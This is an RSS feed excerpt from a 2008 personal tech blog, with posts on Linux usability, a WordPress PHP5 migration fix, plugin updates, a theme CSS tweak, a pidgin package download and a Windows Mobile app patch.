&lt;p&gt;&lt;strong&gt;Ease Of Use:&lt;/strong&gt; Some times, just some times, the lack of a GUI for common things irks me and I wish in respect of a few things (read wi-fi) that things could &amp;ldquo;just work&amp;rdquo;. But I guess this is a trade-off that I can live with, and moreover this situation is also improving especilly due to the efforts taken by Ubuntu, Mandriva, Fedora, GNOME and KDE. (Special thanks to nm-applet ;-) ). Moreover, Hardy Heron, b43 and the latest linux kernels promise to solve the wi-fi setup issues.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Browsing&lt;/strong&gt;: The browsing experience on linux isn&amp;rsquo;t too great. But this is not a fault of Linux as such. This is due to companies providing adequate linux support (e.g. java plugins for 64 bit) and too many sites optimizing their code for IE. But again, there is hope for this as we can already run IE on linux (IEs4Linux) plus SUN has promised a 64 bit java firefox plugin with the next JRE.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Drivers:&lt;/strong&gt; This is again due to companies not giving proper linux support for their hardware and not even releasing their hardware details for the OSS community to develop their own drivers. However, I can understand that giving out hardware details might not be an option for these companies considering the competition, and also proper software support might be a bit unfeasible due to a smaller consumer base. But again, more and more companies are seeing the light now and releasing proper drivers for linux, with Nvidia and ATi taking the lead (When will Creative listen?). And a special thanks to the OSS community for making working drivers despite all this.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;So, this is it. After reading back through what I just wrote, I am dead sure that I will stick to Linux as the trade-offs are too meagre for me. Will you?&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Hack:Disabling the Message Box In Oxios Memory Apps (Windows Mobile)</title><link>https://shantanugoel.com/2008/04/15/hackdisabling-the-message-box-in-oxios-memory-apps-windows-mobile/</link><pubDate>Tue, 15 Apr 2008 08:43:29 +0000</pubDate><guid>https://shantanugoel.com/2008/04/15/hackdisabling-the-message-box-in-oxios-memory-apps-windows-mobile/</guid><description>&lt;p&gt;**Update: **Modified the &amp;ldquo;Oxios Hibernate&amp;rdquo; app as well on public demand. Please redownload the below mentioned package. It now has Oxios Close as well as Oxios Hibernate.&lt;/p&gt;
&lt;p&gt;Oxios developed a very useful tool for Windows Mobile (WM2003/5/6/6.1) called &amp;ldquo;Oxios Memory&amp;rdquo; sometime ago. On running it, it&amp;rsquo;ll flush your RAM (kind of) and recover substantial amounts of memory that can be used by the currently program. It is so good at this that many people run it regularly on their phones, and most of them want to run it in an automated mode (through a scheduler or a script). But the problem (so far) was that it generates a Message Box at the end for which the user has to press &amp;ldquo;OK&amp;rdquo; button to make it go away. There is no known way of disabling this message box and many attempts to work around it by scripting the &amp;ldquo;press OK&amp;rdquo; action have been very unreliable at best. Hence, it took it upon me today to remove this nagging problem and 5 minutes later we have a &amp;ldquo;clean&amp;rdquo; Oxios Memory.&lt;/p&gt;</description><content>&lt;p&gt;**Update: **Modified the &amp;ldquo;Oxios Hibernate&amp;rdquo; app as well on public demand. Please redownload the below mentioned package. It now has Oxios Close as well as Oxios Hibernate.&lt;/p&gt;
&lt;p&gt;Oxios developed a very useful tool for Windows Mobile (WM2003/5/6/6.1) called &amp;ldquo;Oxios Memory&amp;rdquo; sometime ago. On running it, it&amp;rsquo;ll flush your RAM (kind of) and recover substantial amounts of memory that can be used by the currently program. It is so good at this that many people run it regularly on their phones, and most of them want to run it in an automated mode (through a scheduler or a script). But the problem (so far) was that it generates a Message Box at the end for which the user has to press &amp;ldquo;OK&amp;rdquo; button to make it go away. There is no known way of disabling this message box and many attempts to work around it by scripting the &amp;ldquo;press OK&amp;rdquo; action have been very unreliable at best. Hence, it took it upon me today to remove this nagging problem and 5 minutes later we have a &amp;ldquo;clean&amp;rdquo; Oxios Memory.&lt;/p&gt;
&lt;p&gt;Yes, no more nagging prompts :)&lt;/p&gt;
&lt;p&gt;(Feel free to spread the message but please don&amp;rsquo;t hotlink to the file as it is anyways disabled. Provide a link to this page instead)&lt;/p&gt;
&lt;p&gt;If you like it, then &lt;strong&gt;&lt;a href="http://digg.com/software/Hack_Disable_the_Message_Box_In_Oxios_Memory_Windows_Mobile"&gt;DIGG IT by clicking here&lt;/a&gt;&lt;/strong&gt; or choose your favourite submission engine from the links below the post :-)&lt;/p&gt;</content></item><item><title>Gmail Blocking Messages to Yahoo Groups?</title><link>https://shantanugoel.com/2008/04/13/gmail-blocking-messages-to-yahoo-groups/</link><pubDate>Sun, 13 Apr 2008 16:58:36 +0000</pubDate><guid>https://shantanugoel.com/2008/04/13/gmail-blocking-messages-to-yahoo-groups/</guid><description>&lt;p&gt;For the past couple of days I have been unable to send any mails to any of my yahoo groups through my gmail account. All my message are returned back with a &amp;ldquo;Message Rejected&amp;rdquo; failure. What I get back is a link to this support answer: &lt;a href="http://mail.google.com/support/bin/answer.py?answer=69585"&gt;Sector 5 Bounces&lt;/a&gt;. Anyone else seen this?&lt;/p&gt;</description><content>&lt;p&gt;For the past couple of days I have been unable to send any mails to any of my yahoo groups through my gmail account. All my message are returned back with a &amp;ldquo;Message Rejected&amp;rdquo; failure. What I get back is a link to this support answer: &lt;a href="http://mail.google.com/support/bin/answer.py?answer=69585"&gt;Sector 5 Bounces&lt;/a&gt;. Anyone else seen this?&lt;/p&gt;</content></item><item><title>An Idea Is All You Need</title><link>https://shantanugoel.com/2008/04/12/an-idea-is-all-you-need-2/</link><pubDate>Sat, 12 Apr 2008 15:43:32 +0000</pubDate><guid>https://shantanugoel.com/2008/04/12/an-idea-is-all-you-need-2/</guid><description>&lt;p&gt;Everyone wants to make a name for himself. Everyone wants to do something new and extra-ordinary. People like me (read software engineers) want to develop &amp;ldquo;something&amp;rdquo; cool. BUT, the stage where most of them go wrong is the very first one. Most of them think that the road to develop something cool starts from a particular &amp;ldquo;language&amp;rdquo; or a tool. But I beg to differ. I say the first stage is &amp;ldquo;The Idea&amp;rdquo;.&lt;/p&gt;</description><content>&lt;p&gt;Everyone wants to make a name for himself. Everyone wants to do something new and extra-ordinary. People like me (read software engineers) want to develop &amp;ldquo;something&amp;rdquo; cool. BUT, the stage where most of them go wrong is the very first one. Most of them think that the road to develop something cool starts from a particular &amp;ldquo;language&amp;rdquo; or a tool. But I beg to differ. I say the first stage is &amp;ldquo;The Idea&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Most of my friends and others around me think that having a particular skill set is very important to develop something the world hasn&amp;rsquo;t seen till now. And for this they end up reading through piles of books, which claim to make them a master in C, C++, PHP, Python, Web 2.0 and what not. This is all OK, but the problem is, when they have gone through the books, done all the exercises, made all the samle projects, then they have a question in their minds &amp;ldquo;Now What&amp;rdquo;?&lt;/p&gt;
&lt;p&gt;What I think is that this question should have been asked in the very beginning of the journey. And it should have been answered by the occurrence of a new idea.&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t get me wrong. I&amp;rsquo;m all for reading books, developing skill sets, learning new technologies, etc. But the only point I want to make is that all this is a &amp;ldquo;means&amp;rdquo; to give your &amp;ldquo;idea&amp;rdquo; a shape. They are not where your story begins. What if you spent a lot of time acquiring perl skills and then when (and if) you get your brilliant idea, you find out that the best way to implement it would be using C. Are you back to square one? No. Skills acquired are never a waste. &amp;ldquo;Concepts&amp;rdquo; developed can easily be applied to the new tool that you have to use.&lt;/p&gt;
&lt;p&gt;But one more thing, its again not a hard rule that now you should just sit in your chair all day long and keep thinking. I bet its much harder to get the idea stream flowing that way. Ideas don&amp;rsquo;t have a pattern that they follow while coming into your mind. They may come to you any place unexpected (I get most of mine while bathing ;-) ).&lt;/p&gt;
&lt;p&gt;But there is something you can do to ensure that your brain gets accustomed to recognize an idea when you do get it. So, while you are reading through that book on C programming, don&amp;rsquo;t just get engrossed in typing out the exact source code that&amp;rsquo;s fed to you. &amp;ldquo;Think&amp;rdquo; about whether is that enough? Can you make some modification to it so that it becomes more efficient? Can you tweak it a bit to do more than its already doing?&lt;/p&gt;
&lt;p&gt;Keep your eyes open when you go around your daily chores. Think when you open your door whether wouldn&amp;rsquo;t it be nice if the door could recognize you are there and open itself. There&amp;rsquo;s your idea. And while you are at it, think wouldn&amp;rsquo;t it be even nicer if your home would have poured you a cool drink itself when you enter it?&lt;/p&gt;
&lt;p&gt;Now, tell me whether you would like to wait to think about these ideas till you read the book&amp;rsquo;s epilogue, or do you want to start thinking now?&lt;/p&gt;</content></item><item><title>Project: My WordPress Plugin shantz-wp-qotd updated to version 1.2.2</title><link>https://shantanugoel.com/2008/04/10/project-my-wordpress-plugin-shantz-wp-qotd-updated-to-version-122/</link><pubDate>Thu, 10 Apr 2008 20:33:41 +0000</pubDate><guid>https://shantanugoel.com/2008/04/10/project-my-wordpress-plugin-shantz-wp-qotd-updated-to-version-122/</guid><description>&lt;p&gt;Updated my WordPress plugin shantz-wp-qotd to version 1.2.2 today.&lt;/p&gt;
&lt;p&gt;Introduction: Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;p&gt;Changelog:&lt;/p&gt;
&lt;p&gt;Version 1.2.2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a bug because of which quotes were blank some times. Thanks to Thom for reporting it.&lt;/li&gt;
&lt;/ul&gt;</description><content>&lt;p&gt;Updated my WordPress plugin shantz-wp-qotd to version 1.2.2 today.&lt;/p&gt;
&lt;p&gt;Introduction: Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;p&gt;Changelog:&lt;/p&gt;
&lt;p&gt;Version 1.2.2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a bug because of which quotes were blank some times. Thanks to Thom for reporting it.&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>The Why Behind "Open Source": In simple Terms</title><link>https://shantanugoel.com/2008/04/08/the-why-behind-open-source-in-simple-terms/</link><pubDate>Tue, 08 Apr 2008 14:40:43 +0000</pubDate><guid>https://shantanugoel.com/2008/04/08/the-why-behind-open-source-in-simple-terms/</guid><description>&lt;p&gt;Many people ask me why are people crazy about Open Source, or why does it even exist. After all if your code is out there, you can&amp;rsquo;t make money off it, right? Well, yes and no. Now, I ain&amp;rsquo;t no open source guru, but I do my part for it. Generally my explanations are either too complex, too full of extra details or mostly just described badly for a layman that I end up on square one, i.e., not convincing the sophomore who asked the question, looking towards me for the answer. Well, lets leave it for the experts to do the hard work, eh :-). Tristan Rhodes has explained the grand scheme behind it all in terms that would even make my grand mother under stand it.&lt;/p&gt;</description><content>&lt;p&gt;Many people ask me why are people crazy about Open Source, or why does it even exist. After all if your code is out there, you can&amp;rsquo;t make money off it, right? Well, yes and no. Now, I ain&amp;rsquo;t no open source guru, but I do my part for it. Generally my explanations are either too complex, too full of extra details or mostly just described badly for a layman that I end up on square one, i.e., not convincing the sophomore who asked the question, looking towards me for the answer. Well, lets leave it for the experts to do the hard work, eh :-). Tristan Rhodes has explained the grand scheme behind it all in terms that would even make my grand mother under stand it.&lt;/p&gt;
&lt;p&gt;Hit the link if you are interested in knowing more about open source or are just like me, looking for something to advocate open source to all in easy terms.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://useopensource.blogspot.com/2007/08/why-do-people-make-software-for-free.html"&gt;Why do people make software for free?&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Migrating From PHP4 To PHP5: Solving WP-Cache (and maybe other) Issues</title><link>https://shantanugoel.com/2008/04/07/migrating-from-php4-to-php5-solving-wp-cache-and-maybe-other-issues/</link><pubDate>Mon, 07 Apr 2008 13:37:17 +0000</pubDate><guid>https://shantanugoel.com/2008/04/07/migrating-from-php4-to-php5-solving-wp-cache-and-maybe-other-issues/</guid><description>&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; You are migrating your WordPress blog from PHP4 to PHP5 (intentionally or being forced to as you web host won&amp;rsquo;t support PHP4 anymore). Most of the times, this is as simple as adding some simple lines to .htaccess (e.g. &lt;code&gt;AddHandler application/x-httpd-php5 .php&lt;/code&gt; ). And you might not notice any issues. But many of you still do. The issues range from weird page layouts, to some controls not working, to some errors popping up here and there, and probably your blog not even displaying. This occurs because even though WordPress is PHP5 compatible, some of the plugins you are using might not be. But even if you ensure that all your plugins are PHP5 compatible, there is still one more problem that I just saw today.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; You are migrating your WordPress blog from PHP4 to PHP5 (intentionally or being forced to as you web host won&amp;rsquo;t support PHP4 anymore). Most of the times, this is as simple as adding some simple lines to .htaccess (e.g. &lt;code&gt;AddHandler application/x-httpd-php5 .php&lt;/code&gt; ). And you might not notice any issues. But many of you still do. The issues range from weird page layouts, to some controls not working, to some errors popping up here and there, and probably your blog not even displaying. This occurs because even though WordPress is PHP5 compatible, some of the plugins you are using might not be. But even if you ensure that all your plugins are PHP5 compatible, there is still one more problem that I just saw today.&lt;/p&gt;
&lt;p&gt;**Problem: **My host supports both PHP4 and PHP5. I decided to migrate &lt;a href="http://blog.shantanugoel.com/"&gt;my personal blog&lt;/a&gt; to PHP5 today by adding the aforementioned line to my .htaccess. Immediately, my blog disappeared, and in its place, all that was left was a few errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[07-Apr-2008 12:11:49] PHP Warning: flock() expects parameter 1 to be resource, boolean given in /…/wp-cache-phase2.php on line 105
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[07-Apr-2008 12:11:49] PHP Warning: fopen/…/wp-cache-e3ba4b7161eb59d50c5e976a0b66782a.meta) [&amp;lt;a href=&amp;#39;function.fopen&amp;#39;&amp;gt;function.fopen&amp;lt;/a&amp;gt;]: failed to open stream: Permission denied in /…/wp-cache-phase2.php on line 240
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[07-Apr-2008 12:11:49] PHP Warning: fputs(): supplied argument is not a valid stream resource in /…/wp-cache-phase2.php on line 241
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note: I&amp;rsquo;ve deleted the exact file paths above for security reasons.&lt;/p&gt;
&lt;p&gt;It gave me an idea that it had something to do with wp-cache. When I tried to open the settings for wp-cache, it again gve error that web server doesn&amp;rsquo;t have the permissions to write the file wp-cache-config.php, wp_cache_mutex.lock etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt; On checking the file permissions for these mentioned files, I found that they already belong to the user under which the web server runs. So, write permissions shouldn&amp;rsquo;t have been a problem. I guessed that maybe this issue is because of another &amp;ldquo;handler&amp;rdquo; (x-httpd-php5) now trying to modify the files while earlier they were created by the php4 handler. But I couldn&amp;rsquo;t change the permissions now because they were created by the web server and I can&amp;rsquo;t modify/delete them through ssh/ftp under my username.&lt;/p&gt;
&lt;p&gt;**Solution: **So, the solution (or workaround as you may call it) was to login to my cpanel, and use the &amp;ldquo;File Manager&amp;rdquo; there, since all operations done by it would also be carried out by the web-server. So, all I did was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Went back to PHP4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Disabled WP-Cache Plugin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Launched the file manager, deleted the wp-content/wp-cache-config.php and wp-content/cache/wp_cache_mutex.lock. Came out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enabled PHP5 in .htaccess&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable the WP-Cache Plugin&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And that&amp;rsquo;s it. My Personal Blog is now running happily over PHP5 goodness :). let me know if you have any comments about this or any other suggestions that are better than this workaround.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This problem might not be limited to WP-Cache alone. There might be other plugins as well having the same problem.&lt;/p&gt;
&lt;p&gt;**Note2: **If you feel uncomfortable deleting any file, then make a copy of it through ssh/ftp (so that it is under your user name), delete the original file, and replace it by the copy you made. Now, you can give this file a permission of &amp;ldquo;777&amp;rdquo; (that is readable, writable, executable by all), so that the web server can also modify it.&lt;/p&gt;</content></item><item><title>Project: shantz-wp-prefix-suffix Updated to 1.0.2</title><link>https://shantanugoel.com/2008/04/07/project-shantz-wp-prefix-suffix-updated-to-102/</link><pubDate>Mon, 07 Apr 2008 03:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/04/07/project-shantz-wp-prefix-suffix-updated-to-102/</guid><description>&lt;p&gt;Many users reported errors while activating the version 1.0.1 of my WordPress plugin shantz-wp-prefix-suffix. I tracked it down to a typo that crept into the release somehow.&lt;/p&gt;</description><content>&lt;p&gt;Many users reported errors while activating the version 1.0.1 of my WordPress plugin shantz-wp-prefix-suffix. I tracked it down to a typo that crept into the release somehow.&lt;/p&gt;</content></item><item><title>Twittering Away With Delhi Bloggers</title><link>https://shantanugoel.com/2008/04/06/twittering-away-with-delhi-bloggers/</link><pubDate>Sun, 06 Apr 2008 14:57:24 +0000</pubDate><guid>https://shantanugoel.com/2008/04/06/twittering-away-with-delhi-bloggers/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/tweetup_logo_73x73_bigger.jpg" alt="Tweetup_logo_73x73_bigger"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you are twittering kinds, doesn&amp;rsquo;t matter online or offline&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you blog or are interested in all things blog and blogging&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you live in Delhi, have lived there, have been there, or just connect with Delhi somehow else&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you want to meet up with your fellow twitterers and bloggers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then you&amp;rsquo;ve got to be a part of the your very own City of The People With Hearts, Delhi. How, you ask? It&amp;rsquo;s as simple as pointing your mice and keyboards towards &lt;a href="https://twitter.com/delhitweetup"&gt;Delhi Tweetup&lt;/a&gt; to get the latest on every scoop about blogging, twittering and blogging and twittering in Delhi (and outside as well).&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/tweetup_logo_73x73_bigger.jpg" alt="Tweetup_logo_73x73_bigger"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you are twittering kinds, doesn&amp;rsquo;t matter online or offline&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you blog or are interested in all things blog and blogging&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you live in Delhi, have lived there, have been there, or just connect with Delhi somehow else&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you want to meet up with your fellow twitterers and bloggers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then you&amp;rsquo;ve got to be a part of the your very own City of The People With Hearts, Delhi. How, you ask? It&amp;rsquo;s as simple as pointing your mice and keyboards towards &lt;a href="https://twitter.com/delhitweetup"&gt;Delhi Tweetup&lt;/a&gt; to get the latest on every scoop about blogging, twittering and blogging and twittering in Delhi (and outside as well).&lt;/p&gt;
&lt;p&gt;And if you want to be a little bit more involved, you can also join the &lt;a href="http://groups.yahoo.com/group/delhibloggers"&gt;Delhi Bloggers&amp;rsquo; Yahoo Group&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>Hack: Fixing The WordPress i3theme Sidebar Issue (Part II)</title><link>https://shantanugoel.com/2008/04/06/hack-fixing-the-wordpress-i3theme-sidebar-issue-part-ii/</link><pubDate>Sun, 06 Apr 2008 14:20:25 +0000</pubDate><guid>https://shantanugoel.com/2008/04/06/hack-fixing-the-wordpress-i3theme-sidebar-issue-part-ii/</guid><description>&lt;p&gt;Some time back I had &lt;a href="https://shantanugoel.com/2008/02/04/hack-wordpress-i3theme-ie6-sidebar-problem-solved.html"&gt;posted a little hack&lt;/a&gt; to fix an issue that users of &lt;a href="http://www.mangoorange.com/2008/02/10/i3theme-16-is-finally-here-and-more/"&gt;i3theme&lt;/a&gt; have, i.e., their right sidebar drops to below the main content area in IE6. But it wasn&amp;rsquo;t that good as it took care of only the situation when this phenomena was caused by the tag cloud widget. So, here is a little modification I did to fix the issue more properly.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to your &lt;code&gt;wp-content/themes/&amp;lt;i3theme&amp;gt;&lt;/code&gt; folder and open the style.css file in your favourite text editor.&lt;/p&gt;</description><content>&lt;p&gt;Some time back I had &lt;a href="https://shantanugoel.com/2008/02/04/hack-wordpress-i3theme-ie6-sidebar-problem-solved.html"&gt;posted a little hack&lt;/a&gt; to fix an issue that users of &lt;a href="http://www.mangoorange.com/2008/02/10/i3theme-16-is-finally-here-and-more/"&gt;i3theme&lt;/a&gt; have, i.e., their right sidebar drops to below the main content area in IE6. But it wasn&amp;rsquo;t that good as it took care of only the situation when this phenomena was caused by the tag cloud widget. So, here is a little modification I did to fix the issue more properly.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to your &lt;code&gt;wp-content/themes/&amp;lt;i3theme&amp;gt;&lt;/code&gt; folder and open the style.css file in your favourite text editor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Search for &amp;ldquo;#sidebar&amp;rdquo; (without the quotes) until you reach the following code:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#sidebar-right&lt;span style="color:#f92672"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#sidebar-left {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;210&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#666666&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;160&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Now, modify this code to look like:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#sidebar-right&lt;span style="color:#f92672"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#sidebar-left {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;210&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#666666&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;160&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;word-wrap&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;break-word&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;That&amp;rsquo;s it. Save your file and you are done.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So what does it do? Basically I just added an attribute &amp;ldquo;word-wrap: break-word&amp;rdquo; to the sidebar handling. So, if there is a word that cannot fit in the sidebar width, the word will be broken to continue in the next line and thus the sidebar alignment will remain intact. let me know if you face any issues with this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; that this particular word-wrap property is Internet Explorer specific. Firefox (and other browsers) will ignore it, but since the problem with sidebar alignment occurs only with IE, so it will enable IE to display your site properly.&lt;/p&gt;</content></item><item><title>Download pidgin 2.4.1 For Ubuntu Feisty Fawn (amd64/x86_64)</title><link>https://shantanugoel.com/2008/04/04/download-pidgin-241-for-ubuntu-feisty-fawn-amd64x86_64/</link><pubDate>Fri, 04 Apr 2008 17:19:02 +0000</pubDate><guid>https://shantanugoel.com/2008/04/04/download-pidgin-241-for-ubuntu-feisty-fawn-amd64x86_64/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/logo.pidgin.png" alt="Logo.pidgin"&gt;&lt;/p&gt;
&lt;p&gt;pidgin is everybody&amp;rsquo;s favourite IM client. Lifehacker includes it in its list of top 5 IM clients. Obviously I use it too, but one drawback of being lazy and not switching over to Gutsy Gibbon was that I was stuck with version 2.2.0 for a long time. But recently I began a new journey towards d-bus programming and chose pidgin as my companion. Found out that 2.2.0 has some serious d-bus issues on amd64 that were fixed in 2.4.0. Hence, installed all the dependencies, compiled the latest version today from source and installed it. Just thought of putting it out for my fellow Feisty users who are looking to upgrade as well but don&amp;rsquo;t want to go through the mess of compiling from source.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/logo.pidgin.png" alt="Logo.pidgin"&gt;&lt;/p&gt;
&lt;p&gt;pidgin is everybody&amp;rsquo;s favourite IM client. Lifehacker includes it in its list of top 5 IM clients. Obviously I use it too, but one drawback of being lazy and not switching over to Gutsy Gibbon was that I was stuck with version 2.2.0 for a long time. But recently I began a new journey towards d-bus programming and chose pidgin as my companion. Found out that 2.2.0 has some serious d-bus issues on amd64 that were fixed in 2.4.0. Hence, installed all the dependencies, compiled the latest version today from source and installed it. Just thought of putting it out for my fellow Feisty users who are looking to upgrade as well but don&amp;rsquo;t want to go through the mess of compiling from source.&lt;/p&gt;
&lt;p&gt;So download it from the below given link. However, since it is a relatively big package (around 8.5 MB), I might pull it if the bandwidth usage becomes too much, so download soon.&lt;/p&gt;
&lt;p&gt;You can install it by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Either using &amp;ldquo;gdebi&amp;rdquo; - A nice deb package installer that will also try to resolve dependencies for you.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;or by running &amp;ldquo;dpkg -i pidgin_2.4.1-1_amd64.deb&amp;rdquo; on command line.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me know if you have any issues with it.&lt;/p&gt;</content></item><item><title>Wanted: A Good Paint Program For Linux</title><link>https://shantanugoel.com/2008/04/03/wanted-a-good-paint-program-for-linux/</link><pubDate>Thu, 03 Apr 2008 12:47:23 +0000</pubDate><guid>https://shantanugoel.com/2008/04/03/wanted-a-good-paint-program-for-linux/</guid><description>&lt;p&gt;Have been in the hunt for a good basic paint program for linux for so long. I&amp;rsquo;m running a Ubuntu Feisty Fawn (amd64) box (yeah, yeah I didn&amp;rsquo;t upgrade to Gutsy because it sneaked up too quickly onto me and the impending loom of LTS goodness of Hardy was also there). Have been suggested various things so far like GPaint, Kolourpaint, tuxpaint etc but none of them cuts it.&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t get me wrong, I love GIMP but its an overkill when I have to go through 2 menus, a dialogue box and several clicks, just to make a silly rectangle, but I don&amp;rsquo;t hold anything against it cuz afterall its an &amp;ldquo;Image Manipulation&amp;rdquo; program, not a painting one.&lt;/p&gt;</description><content>&lt;p&gt;Have been in the hunt for a good basic paint program for linux for so long. I&amp;rsquo;m running a Ubuntu Feisty Fawn (amd64) box (yeah, yeah I didn&amp;rsquo;t upgrade to Gutsy because it sneaked up too quickly onto me and the impending loom of LTS goodness of Hardy was also there). Have been suggested various things so far like GPaint, Kolourpaint, tuxpaint etc but none of them cuts it.&lt;/p&gt;
